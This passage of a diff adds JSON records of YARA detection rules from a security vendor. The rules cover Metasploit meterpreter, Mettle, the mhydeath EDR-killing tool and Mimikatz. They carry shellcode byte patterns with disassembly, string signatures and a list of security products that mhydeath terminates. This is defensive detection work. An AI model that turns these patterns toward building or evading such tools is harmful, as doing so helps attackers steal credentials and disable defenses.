+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.578608Z",
+  "creation_date": "2026-03-23T11:46:25.578610Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.578616Z",
+  "rule_level": "high",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/rapid7/metasploit-framework"
+  ],
+  "name": "meterpreter_memory_metsrv_dll.yar",
+  "content": "import \"pe\"\n\nrule meterpreter_memory_metsrv_dll {\n    meta:\n        title = \"Metasploit Metsrv DLL\"\n        id = \"87449f66-794d-4701-883d-acc4225e9857\"\n        description = \"Detects Metasploit's meterpreter private server extension in memory.\\nThe Metsrv extension allows attackers to establish a reverse TCP connection, enabling communication with a remote command and control server.\\nIt is recommended to investigate the execution context and surrounding detections to assess whether the detected binary or process is linked with malicious activity. If possible, isolating the infected host during the investigation can help mitigate the risk of malicious activity.\"\n        references = \"https://github.com/rapid7/metasploit-framework\"\n        date = \"2019-09-08\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.t1055.002\"\n        classification = \"Windows.Framework.Metasploit\"\n        context = \"memory,thread\"\n        os = \"Windows\"\n        score = 70\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // 5cdd26ef5832da4e913a32ebce063b0ccb86410e669f073cb802f6d2c21330e7\n\n        // metasploit-payloads-1.3.70/data/meterpreter/metsrv.x64.dll\n        $s1 = {63 6F 72 65 5F 74 72 61 6E 73 70 6F 72 74 5F} // 'core _ transport _' without spaces\n        $s2 = \"core_loadlib\" ascii\n        $s3 = \"core_channel_\" ascii\n        $s4 = \"packet_add_tlv\" ascii\n        $s5 = \"packet_get_tlv\" ascii\n        $s6 = \"packet_transmit\" ascii\n\n    condition:\n        all of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "meterpreter_memory_metsrv_dll"
+  ],
+  "rule_creation_date": "2019-09-08",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Framework.Metasploit"
+  ],
+  "rule_tactic_tags": [],
+  "rule_technique_tags": [
+    "attack.t1055.002"
+  ],
+  "rule_score": 70,
+  "rule_context": [
+    "memory",
+    "thread"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-meterpreter_winexec_85b632bf8a3b_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.575444Z",
+  "creation_date": "2026-03-23T11:46:25.575446Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.575452Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/core/payload/windows/exec_x64.rb"
+  ],
+  "name": "meterpreter_winexec_85b632bf8a3b.yar",
+  "content": "rule meterpreter_winexec_85b632bf8a3b {\n    meta:\n        title = \"Meterpreter Execute Command (85b632bf8a3b)\"\n        id = \"ce831d71-37e9-442a-9b77-85b632bf8a3b\"\n        description = \"Detects the Metasploit meterpreter x64 execute command.\\nThis allows an attacker to execute an arbitrary command on the target system.\\nIt is recommended to investigate the execution context and surrounding detections to assess whether the detected binary or process is linked with malicious activity. If possible, isolating the infected host during the investigation can help mitigate the risk of malicious activity.\"\n        references = \"https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/core/payload/windows/exec_x64.rb\"\n        date = \"2023-11-02\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.execution;attack.t1106;attack.defense_evasion;attack.t1027.007;attack.t1055\"\n        classification = \"Windows.Framework.Metasploit\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        arch = \"x64\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        $winexec1 = {\n            48 31 C0                                      // xor     rax, rax\n            AC                                            // lodsb\n            41 C1 C9 0D                                   // ror     r9d, 0Dh\n            41 01 C1                                      // add     r9d, eax\n            38 E0                                         // cmp     al, ah\n            75 F1                                         // jnz     short loc_75\n            4C 03 4C 24 08                                // add     r9, [rsp+8]\n            45 39 D1                                      // cmp     r9d, r10d\n            75 D8                                         // jnz     short loc_66\n            58                                            // pop     rax\n            44 8B 40 24                                   // mov     r8d, [rax+24h]\n            49 01 D0                                      // add     r8, rdx\n            66 41 8B 0C 48                                // mov     cx, [r8+rcx*2]\n            44 8B 40 1C                                   // mov     r8d, [rax+1Ch]\n            49 01 D0                                      // add     r8, rdx\n            41 8B 04 88                                   // mov     eax, [r8+rcx*4]\n            48 01 D0                                      // add     rax, rdx\n            41 58                                         // pop     r8\n            41 58                                         // pop     r8\n            5E                                            // pop     rsi\n            59                                            // pop     rcx\n            5A                                            // pop     rdx\n            41 58                                         // pop     r8\n            41 59                                         // pop     r9\n            41 5A                                         // pop     r10\n            48 83 EC 20                                   // sub     rsp, 20h\n            41 52                                         // push    r10\n            FF E0                                         // jmp     rax\n        }\n\n        $winexec2 = {\n            5D                                            // pop     rbp\n            48 BA 01 00 00 00 00 00 00 00                 // mov     rdx, 1\n            48 8D 8D 01 01 00 00                          // lea     rcx, [rbp+101h]\n            41 BA 31 8B 6F 87                             // mov     r10d, 876F8B31h\n            FF D5                                         // call    rbp\n            (\n                BB AA C5 E2 5D |                          // mov     ebx, 5DE2C5AAh (EXITFUNC=none)\n                BB FE 0E 32 EA |                          // mov     ebx, 0EA320EFEh (EXITFUNC=seh)\n                BB E0 1D 2A 0A |                          // mov     ebx, 0A2A1DE0h (EXITFUNC=thread)\n                BB F0 B5 A2 56                            // mov     ebx, 56A2B5F0h (EXITFUNC=process)\n            )\n            41 BA A6 95 BD 9D                             // mov     r10d, 9DBD95A6h\n            FF D5                                         // call    rbp\n            48 83 C4 28                                   // add     rsp, 28h\n            3C 06                                         // cmp     al, 6\n            7C 0A                                         // jl      short loc_103\n            80 FB E0                                      // cmp     bl, 0E0h\n            75 05                                         // jnz     short loc_103\n            BB 47 13 72 6F                                // mov     ebx, 6F721347h\n        }\n\n    condition:\n        1 of ($winexec*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "meterpreter_winexec_85b632bf8a3b"
+  ],
+  "rule_creation_date": "2023-11-02",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Framework.Metasploit"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1106",
+    "attack.t1027.007",
+    "attack.t1055"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-meterpreter_winexec_bce7d7b9ac64_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.579215Z",
+  "creation_date": "2026-03-23T11:46:25.579218Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.579226Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/core/payload/windows/exec.rb"
+  ],
+  "name": "meterpreter_winexec_bce7d7b9ac64.yar",
+  "content": "rule meterpreter_winexec_bce7d7b9ac64 {\n    meta:\n        title = \"Meterpreter Execute Command (bce7d7b9ac64)\"\n        id = \"b6d1b2fe-8e06-4793-b8fd-bce7d7b9ac64\"\n        description = \"Detects the Metasploit meterpreter x86 execute command.\\nThis allows an attacker to execute an arbitrary command on the target system.\\nIt is recommended to investigate the execution context and surrounding detections to assess whether the detected binary or process is linked with malicious activity. If possible, isolating the infected host during the investigation can help mitigate the risk of malicious activity.\"\n        references = \"https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/core/payload/windows/exec.rb\"\n        date = \"2023-11-02\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.execution;attack.t1106;attack.defense_evasion;attack.t1027.007;attack.t1055\"\n        classification = \"Windows.Framework.Metasploit\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        arch = \"x86\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        $winexec1 = {\n            AC                                            // lodsb\n            C1 CF 0D                                      // ror     edi, 0Dh\n            01 C7                                         // add     edi, eax\n            38 E0                                         // cmp     al, ah\n            75 F6                                         // jnz     short loc_404ABD\n            03 7D F8                                      // add     edi, [ebp-8]\n            3B 7D 24                                      // cmp     edi, [ebp+24h]\n            75 E4                                         // jnz     short loc_404AB3\n            58                                            // pop     eax\n            8B 58 24                                      // mov     ebx, [eax+24h]\n            01 D3                                         // add     ebx, edx\n            66 8B 0C 4B                                   // mov     cx, [ebx+ecx*2]\n            8B 58 1C                                      // mov     ebx, [eax+1Ch]\n            01 D3                                         // add     ebx, edx\n            8B 04 8B                                      // mov     eax, [ebx+ecx*4]\n            01 D0                                         // add     eax, edx\n            89 44 24 24                                   // mov     [esp+28h+var_4], eax\n            5B                                            // pop     ebx\n            5B                                            // pop     ebx\n            61                                            // popa\n            59                                            // pop     ecx\n            5A                                            // pop     edx\n            51                                            // push    ecx\n            FF E0                                         // jmp     eax\n        }\n\n        $winexec2 = {\n            5D                                            // pop     ebp\n            6A 01                                         // push    1\n            8D 85 B2 00 00 00                             // lea     eax, [ebp+0B2h]\n            50                                            // push    eax\n            68 31 8B 6F 87                                // push    876F8B31h\n            FF D5                                         // call    ebp\n            (\n                BB AA C5 E2 5D |                          // mov     ebx, 5DE2C5AAh (EXITFUNC=none)\n                BB FE 0E 32 EA |                          // mov     ebx, 0EA320EFEh (EXITFUNC=seh)\n                BB E0 1D 2A 0A |                          // mov     ebx, 0A2A1DE0h (EXITFUNC=thread)\n                BB F0 B5 A2 56                            // mov     ebx, 56A2B5F0h (EXITFUNC=process)\n            )\n            68 A6 95 BD 9D                                // push    9DBD95A6h\n            FF D5                                         // call    ebp\n            3C 06                                         // cmp     al, 6\n            7C 0A                                         // jl      short loc_404B21\n            80 FB E0                                      // cmp     bl, 0E0h\n            75 05                                         // jnz     short loc_404B21\n            BB 47 13 72 6F                                // mov     ebx, 6F721347h\n        }\n\n    condition:\n        1 of ($winexec*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "meterpreter_winexec_bce7d7b9ac64"
+  ],
+  "rule_creation_date": "2023-11-02",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Framework.Metasploit"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1106",
+    "attack.t1027.007",
+    "attack.t1055"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-mettle_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.572156Z",
+  "creation_date": "2026-03-23T11:46:25.572158Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.572164Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/rapid7/mettle/"
+  ],
+  "name": "mettle.yar",
+  "content": "rule mettle_meterpreter {\n    meta:\n        title = \"Mettle Meterpreter\"\n        id = \"fd149830-5f04-48be-b67b-a2b1402a0de0\"\n        description = \"Detects the Mettle Meterpreter.\\nMettle is a native-code Meterpreter designed for embedded devices, allowing attackers to maintain persistence or execute commands on such devices.\\nIt is designed to operate in resource-constrained environments and provides a versatile framework for deploying and managing payloads on embedded systems.\"\n        references = \"https://github.com/rapid7/mettle/\"\n        date = \"2024-01-19\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1027\"\n        classification = \"Linux.Framework.Mettle\"\n        context = \"process,file.elf\"\n        os = \"Linux\"\n        arch = \"x86,x64\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // 68ed53a469da89a164bcc3024823e2e4483100a94c7b4402798c70213e0c7605\n\n        $fatal1 = \"/mettle/\" ascii\n        $fatal2 = \".mshistory\" ascii\n\n        $s1 = \"could not find handlers for channel type %s\" ascii\n        $s2 = \"creating new channel of type %s\" ascii\n        $s3 = \"No extension name specified\" ascii\n        $s4 = \"TLV method request for command_id '%u' failed to locate an associated extension\" ascii\n        $s5 = \"Registering command %u, cb %p, arg %p\" ascii\n        $s6 = \"processing command: %u id: '%s'\" ascii\n        $s7 = \"no handler found for command id: %u\" ascii\n        $s8 = \"closing udp client channel: %p\" ascii\n        $s9 = \"closing tcp client channel: %p\" ascii\n\n        $config1 = \",LOOPBACK\" ascii fullword\n        $config2 = \",POINTOPOINT\" ascii fullword\n        $config3 = \",NOARP\" ascii fullword\n        $config4 = \",BROADCAST\" ascii fullword\n        $config5 = \",MULTICAST\" ascii fullword\n        $config6 = \",UP\" ascii fullword\n\n    condition:\n        uint16(0) == 0x457f and filesize < 40MB and (any of ($fatal*) or all of ($s*) or all of ($config*))\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "mettle_meterpreter"
+  ],
+  "rule_creation_date": "2024-01-19",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "linux"
+  ],
+  "rule_classifications": [
+    "Linux.Framework.Mettle"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1027"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.elf",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-mhydeath_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.581822Z",
+  "creation_date": "2026-03-23T11:46:25.581824Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.581829Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/zer0condition/mhydeath\nhttps://www.loldrivers.io/drivers/7abc873d-9c28-44c2-8f60-701a8e26af29/"
+  ],
+  "name": "mhydeath.yar",
+  "content": "rule mhydeath {\n    meta:\n        title = \"Mhydeath HackTool\"\n        id = \"a6453f18-2643-40d0-a1a2-babd2342a8b5\"\n        description = \"Detects mhydeath, a tool designed to kill running EDR processes using the mhyprotect.sys vulnerable driver.\\nMhydeath operates by creating a new service to load the mhyprotect driver, which it then exploits to gain kernel code execution and kill EDR processes.\\nIt is recommended to examine the context in which this tool is executed to determine whether its use is legitimate.\"\n        references = \"https://github.com/zer0condition/mhydeath\\nhttps://www.loldrivers.io/drivers/7abc873d-9c28-44c2-8f60-701a8e26af29/\"\n        date = \"2025-09-25\"\n        modified = \"2025-10-14\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1574\"\n        classification = \"Windows.HackTool.mhydeath\"\n        context = \"process,memory,file.pe\"\n        os = \"Windows\"\n        arch = \"x86,x64\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // 3c709493308c4744d182bd5beb81ef9aee8d05ba7571aacb91c33f989e2b8471\n\n        $s1 = \"[!] failed to initialize vulnerable driver\" ascii fullword\n        $s2 = \"[!] failed to initialize driver properly\" ascii fullword\n        $s3 = \"Z:\\\\testthat\\\\mhydeath\\\\x64\\\\Release\\\\mhydeath64.pdb\" ascii fullword\n\n        $f1 = \"mhyprot.sys\" ascii fullword\n        $f2 = \"\\\\\\\\?\\\\\\\\mhyprotect\" ascii fullword\n        $f3 = \"Failed to create %s service. (0x%lX)\" ascii fullword\n        $f4 = \"Service already exists, open handle\" ascii fullword\n\n        $edr1 = \"MsMpEng.exe\" wide fullword\n        $edr2 = \"avast\" wide fullword\n        $edr3 = \"carbonblack\" wide fullword\n        $edr4 = \"carbon black\" wide fullword\n        $edr5 = \"ciscoamp\" wide fullword\n        $edr6 = \"cisco amp\" wide fullword\n        $edr7 = \"crowdstrike\" wide fullword\n        $edr8 = \"csagent\" wide fullword\n        $edr9 = \"csfalcon\" wide fullword\n        $edr10 = \"cybereason\" wide fullword\n        $edr11 = \"cylance\" wide fullword\n        $edr12 = \"darktrace\" wide fullword\n        $edr13 = \"defender\" wide fullword\n        $edr14 = \"endgame\" wide fullword\n        $edr15 = \"f-secure\" wide fullword\n        $edr16 = \"fireeye\" wide fullword\n        $edr17 = \"kaspersky\" wide fullword\n        $edr18 = \"mcafee\" wide fullword\n        $edr19 = \"msmpeng\" wide fullword\n        $edr20 = \"palo alto networks\" wide fullword\n        $edr21 = \"qradar\" wide fullword\n        $edr22 = \"secureworks\" wide fullword\n        $edr23 = \"sentinel\" wide fullword\n        $edr24 = \"sophos\" wide fullword\n        $edr25 = \"splunk\" wide fullword\n        $edr26 = \"symantec\" wide fullword\n        $edr27 = \"tanium\" wide fullword\n        $edr28 = \"vectra\" wide fullword\n        $edr29 = \"wireshark\" wide fullword\n        $edr30 = \"hurukai.exe\" wide fullword\n\n    condition:\n        2 of ($s*) or (all of ($f*) and 5 of ($edr*))\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "mhydeath"
+  ],
+  "rule_creation_date": "2025-09-25",
+  "rule_modified_date": "2025-10-14",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.HackTool.mhydeath"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.pe",
+    "memory",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-mimikatz_8a69b75ae84e_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.563366Z",
+  "creation_date": "2026-03-23T11:46:25.563369Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.563379Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/software/S0002/\nhttps://github.com/gentilkiwi/mimikatz"
+  ],
+  "name": "mimikatz_8a69b75ae84e.yar",
+  "content": "import \"pe\"\n\nrule mimikatz_8a69b75ae84e {\n    meta:\n        title = \"Mimikatz DLL (8a69b75ae84e)\"\n        id = \"18cdda88-5836-48de-bc93-8a69b75ae84e\"\n        description = \"Detects Mimikatz DLL in memory.\\nMimikatz is a credential dumper capable of obtaining plaintext Windows account logins and passwords. This rule detects its presence in memory through specific patterns related to its operations, such as credential extraction and lateral movement. It is often used in red teaming exercises to test network security.\\nIt is recommended to investigate for additional signs of malicious activity, such as network communication or file artifacts.\"\n        references = \"https://attack.mitre.org/software/S0002/\\nhttps://github.com/gentilkiwi/mimikatz\"\n        date = \"2020-10-01\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.s0002;attack.credential_access;attack.t1003;attack.t1078;attack.t1550.002;attack.t1550.003\"\n        classification = \"Windows.Tool.Mimikatz\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        arch = \"x86,x64\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // ---------- start: kuhl_m_event ----------\n\n        /*\n            From mimikatz initial release: bb371c2acba397b4006a6cddc0f9ce2b5958017b\n        */\n        // Windows XP\n        // NOTE: too small to be used for matching.\n        //$WNT5_PerformWriteRequest = { 89 45 e4 8b 7d 08 89 7d }\n        // Windows Vista\n        $process_event_win60 = { 8b ff 55 8b ec 56 8b f1 8b 4d 08 e8 }\n        // Windows 7\n        $process_event_win61 = { 8b f1 8b 4d 08 e8 }\n        // Windows 8\n        $process_event_win62 = { 33 c4 50 8d 44 24 28 64 a3 00 00 00 00 8b 75 0c }\n        // Windows 8.1 (Blue)\n        $process_event_win63 = { 33 c4 50 8d 44 24 20 64 a3 00 00 00 00 8b f9 8b }\n\n        /*\n            From mimikatz commit: 5d191619fc8ffaf8cc2ba155114b33db39c824c2\n        */\n        // Windows 10 (build 1507)\n        $process_event_win64 = { 33 c4 89 44 24 10 53 56 57 a1 }\n\n\n        /*\n            From mimikatz commit: cdd0722efa05ec0657bc90ee0d6e27df52557335\n        */\n        // Windows 10 (build 1607)\n        $process_event_win10_1607 = { 8b d9 8b 4d 08 e8 }\n\n        /*\n            From mimikatz commit: 508b4aaf9e73f7ba45648c35cff632f10f38454b\n        */\n        // Windows 10 (build 1709)\n        $process_event_win10_1709 = { 8b ff 55 8b ec 83 ec 0c 56 57 8b f9 8b 4d 08 e8 }\n\n        /*\n            From mimikatz commit: fe6a853ec3e7ff50d79dd608dbed5e05cfab3322\n        */\n        // Windows 10 (build 1803)\n        $process_event_win10_1803 = { 8b f1 89 75 ec 8b 7d 08 8b cf e8 }\n\n        /*\n            From mimikatz commit: 2fd09bbef0754317cd97c01dbbf49698ae23d9d2\n        */\n        // Windows 10 (build 1809)\n        $process_event_win10_1809 = { 8b f1 89 75 f0 8b 7d 08 8b cf e8 }\n\n        /*\n            From mimikatz commit: 4dd27c0a649e808c01c7ea308321ff3eb9e3d4d3\n        */\n        // Windows 10 (build 2004)\n        $process_event_win10_2004 = { 8b d9 8b 7d 08 8b cf e8 }\n\n        // ----------  end: kuhl_m_event  ----------\n\n        // ---------- start: kuhl_m_misc ----------\n\n        /*\n            From mimikatz initial release: bb371c2acba397b4006a6cddc0f9ce2b5958017b\n        */\n        // Windows XP\n        // NOTE: too small to be used for matching.\n        //$WALL_ncRouteMonitor = { 07 00 75 3a 68 }\n\n        // ----------  end: kuhl_m_misc  ----------\n\n        // ---------- start: kuhl_m_sid ----------\n\n        // NOTE: x86 currently not supported by this mimikatz module.\n\n        // ----------  end: kuhl_m_sid  ----------\n\n        // ---------- start: kuhl_m_ts ----------\n\n        /*\n            From mimikatz commit: 5d191619fc8ffaf8cc2ba155114b33db39c824c2\n        */\n        // Windows XP\n        // NOTE: too small to be used for matching.\n        //$TestLicence_WIN5 = { 83 f8 02 7f }\n        // Windows Vista\n        $query_policy_win60 = { 3b 91 20 03 00 00 5e 0f 84 }\n        // Windows 7\n        $query_policy_win6x = { 3b 86 20 03 00 00 0f 84 }\n        // Windows 8.1 (Blue)\n        $query_policy_win81 = { 3b 81 20 03 00 00 0f 84 }\n\n        // ----------  end: kuhl_m_ts  ----------\n\n        // ---------- start: kuhl_m_sekurlsa ----------\n\n        /*\n            From mimikatz commit: 83a8f4214dd2204a71ccc62fb90058d714a78ac4\n        */\n        // Windows XP\n        $sec_data_win2003 = { 53 56 8d 45 98 50 b9 }\n        // Windows Vista and later\n        $sec_data_win2008 = { 8b 45 14 83 c0 18 50 b9 }\n\n        // ---------- end: kuhl_m_sekurlsa ----------\n\n        // Misc matching\n        $drsuapi_ds_bind_guid = { 1A 20 4D E2 D6 4F D1 11 A3 DA 00 00 F8 75 AE 0D }\n\n        // TODO: detect \"@lsadump::dcsync\", \"sekurlsa::logonpasswords\" and \"sekurlsa::pth\" for trimed down version of mimikatz (example in Cobalt Strike).\n\n    condition:\n        // kuhl_m_event\n        6 of ($process_event*)\n        // kuhl_m_sekurlsa\n        and 2 of ($sec_data_*)\n        // misc guid\n        and $drsuapi_ds_bind_guid\n        // kuhl_m_ts\n        or all of ($query_policy*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "mimikatz_8a69b75ae84e"
+  ],
+  "rule_creation_date": "2020-10-01",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Tool.Mimikatz"
+  ],
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1550.002",
+    "attack.t1078",
+    "attack.t1003",
+    "attack.t1550.003"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-mimikatz_9e385b856412_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.584980Z",
+  "creation_date": "2026-03-23T11:46:25.584982Z",
+  "enabled": true,
